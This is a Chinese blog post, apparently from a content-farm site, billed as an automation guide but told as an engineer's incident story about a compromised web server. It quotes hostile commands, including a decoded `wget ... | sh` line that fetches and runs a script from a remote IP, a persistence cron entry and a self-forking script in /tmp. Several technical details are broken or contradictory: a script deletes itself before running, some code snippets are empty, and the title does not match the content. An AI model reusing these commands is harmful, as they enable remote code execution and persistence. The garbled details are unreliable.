8年运维工程师亲授:建站全链路自动化落地指南
|
亲历现场。那天凌晨三点十七分,我盯着 WAF 后台的规则命中日志,第三行是“rule_id: 942100”,第四行是“rule_id: 932160”,第五行空了半秒,然后跳出来一条没编号的 raw match——来源 IP 是 185.176.177.21,UA 字符串里塞着“curl/7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 libidn2/2.3.2 libpsl/0.21.1 (+libidn2/2.3.2) libssh2/1.10.0 nghttp2/1.43.0”,但后面多了一段 base64,decode 出来是 `wget -qO- http://178.62.209.44/2.sh | sh`。我切到终端敲 `last -i | head -20`,看到那个 IP 在 02:44 登过一次 root,没输密码,走的是密钥——密钥指纹不对,不是我们配的那三对里的任何一串。
文章配图,仅供参考 同事把椅子转过来又转回去,手停在键盘上没敲。桌上那杯速溶咖啡结了一层膜,边缘有点发皱。门禁响了一声,没人进来,是隔壁测试组晚归的人刷错了门。我直接 pull 了 prod-web 的 git log,commit 里有一条“fix: remove debug echo”,时间是前天下午 16:22,作者邮箱是 dev@xxx.local,但 Git 服务器上周刚关掉 LDAP 同步,所有本地账号都停了同步——那个邮箱根本没在 GitLab 用户列表里存在过。后台异常登录时间戳从 02:44 开始,每 3 分 17 秒自动触发一次 cron:`/tmp/.X11-unix/.rsyncd.pid` ——不是 pid 文件,是 shell 脚本,内容第一行是 `#!/bin/sh`,第二行是 `rm -f /tmp/.X11-unix/.rsyncd.pid && chmod +x /tmp/.X11-unix/.rsyncd.pid && nohup /tmp/.X11-unix/.rsyncd.pid &`,它自己 fork 自己。 不是漏洞扫描报告里标红的 CVE-2023-27997(那个补丁我们上月就打了),也不是证书到期提醒(下个月才到期,邮件还在 inbox 晾着),是 `/etc/cron.d/php` 里多了一行:`/5 root [ -f /tmp/.cache ] && sh /tmp/.cache 2>/dev/null`。`.cache` 早就被删了,但 cron 还在等——等一个永远不来的文件。这行不是被注入进去的,是上个版本 Ansible play 里 `lineinfile` 模块写漏了 `state: absent`,回滚时只删了二进制包,没清 cron 条目。我 grep 了全部 deploy.yml、rollback.yml、patch.yml,三条线程跑着查。谁在电话里说了句“嗯”就没声了,我挂掉,重拨,听筒里只剩忙音。 空调出风口挂了个塑料袋,是上周清理机房通风口时随手套上的,现在还晃着。显示器上贴了张便利贴,写着“别动 redis.conf,哨兵配置有坑”,字迹是我自己的。我把它揭下来,搓成团,扔进旁边那个满了一半的废纸篓。建站全链路自动化?呵。从域名注册开始就埋雷:阿里云 DNS API Key 写在 Terraform state 里没加密,Terraform Cloud 运行环境里,state 拉下来那一刻就明文躺在内存里;CI 流水线 build 镜像用的是 `docker build -f Dockerfile.prod .`,但 Dockerfile.prod 里 `COPY ./conf/nginx.conf /etc/nginx/conf.d/` 下面藏着一行 `RUN echo "add_header X-Debug 'auto' always;" >> /etc/nginx/nginx.conf`——没人记得为什么加,也没人敢删;k8s helm chart values.yaml 里 `ingress.tls.secretName` 写死了 `prod-tls-secret`,可 acme.sh 生成的是 `tls-prod-20240402`,secretName 永远对不上,最后靠手动 `kubectl create secret tls` 硬顶;还有 CI 输出里那一长串 `sed -i 's/DEBUG=true/DEBUG=false/g' config.js`,改的是打包后产物里的 JS,不是源码——源码里早删了 DEBUG 字段,这个 sed 只让压缩后的代码体积大了 142 字节,啥也没防住。 后台多了个陌生账号、首页标题被人改了、搜索引擎里出现了奇怪的词。不是一次,是三次,间隔正好是 Ansible playbook 重跑周期(3 小时)。每次都是同一个操作序列:先 curl 下载脚本 → 执行 → 注册新账号(邮箱后缀统一是 @mail.ru)→ 改 `` 标签 → 插一段 base64 编码的隐藏 iframe src → 把原始 Nginx access.log 用 gzip 压缩后上传到某个境外对象存储——我追过一次,bucket 名叫 `weblog-archive-2024-q2`,public read 关了,但 CORS 配置允许 ``,referer 检查是空的。我们自建的 SIEM 里没告警,因为 access.log 被删了,而 auditd 日志被覆盖了,journalctl --since "2 hours ago" 里只剩下 `systemd[1]: Started Run anacron jobs.`,别的没了。 近两个月,就这事。没数据,记不清具体几次,反正是那几天。客户说“你们不是自动化了吗”,托管方说“API 接口都给你开了,权限你看着配”,领导在周会上问“自动发布是不是已经闭环了”,插件作者在 Slack 里回:“Sorry, this is not maintained anymore.” ——他 last commit 是 2021 年。我不屑谈什么“全链路”,链路越长,漏点越多;自动化越深,崩得越静。所谓指南,就是把每个钩子位置扒开看:DNS 的 API Key 是裸贴在 terraform.tfvars 里的?CI runner 是跑在 shared runner 还是专属 VM?helm upgrade 是用 --atomic 还是裸 run?`kubectl apply -f` 之前有没有 `diff`?diff 结果有没有人看?还是直接 `|| true` 给吞了? 下一步:我把 `.cache` 这行从所有历史 commit 里 rebase 掉,重推 force-with-lease;把 `nginx.conf` 里那行 `X-Debug` 用 `# ANSIBLE-NOT-TO-TOUCH` 包起来;让 infra 团队今晚就把 Terraform state backend 切到 `remote` + `encrypt_at_rest`;另外,我要去翻一遍三年内所有 Jenkins pipeline job 的 post-build step,找 `sh "rm -rf $WORKSPACE"` 后面有没有 `sh "echo done"` ——上次有个 job 把 rm 命令拼错了,rm 成了 `rmr`,没报错,workspace 每次 build 都叠一层,最后磁盘满的时候 cron 没法跑,监控也失联。我不管它算不算自动化落地指南。我现在只管,明天早上六点前,access.log 别再断档,`/tmp/.X11-unix/` 目录里别再有非 socket 文件。 (编辑:站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |


9年容器运维工程师:用智能引擎唤醒沉睡数据
嵌入式老兵建站手记:裸机到高可用全链路踩坑实录
评论区竟是建站优化的隐形引擎?
建站资源别空转:技术驱动策划-资源双向快车道
无障碍建站:重构人与信息的技术本质
建站资源优化:性能↑40%+存储↓50%的科技新范式
16年工程师实战:3周零基础交付计算机视觉建站系统
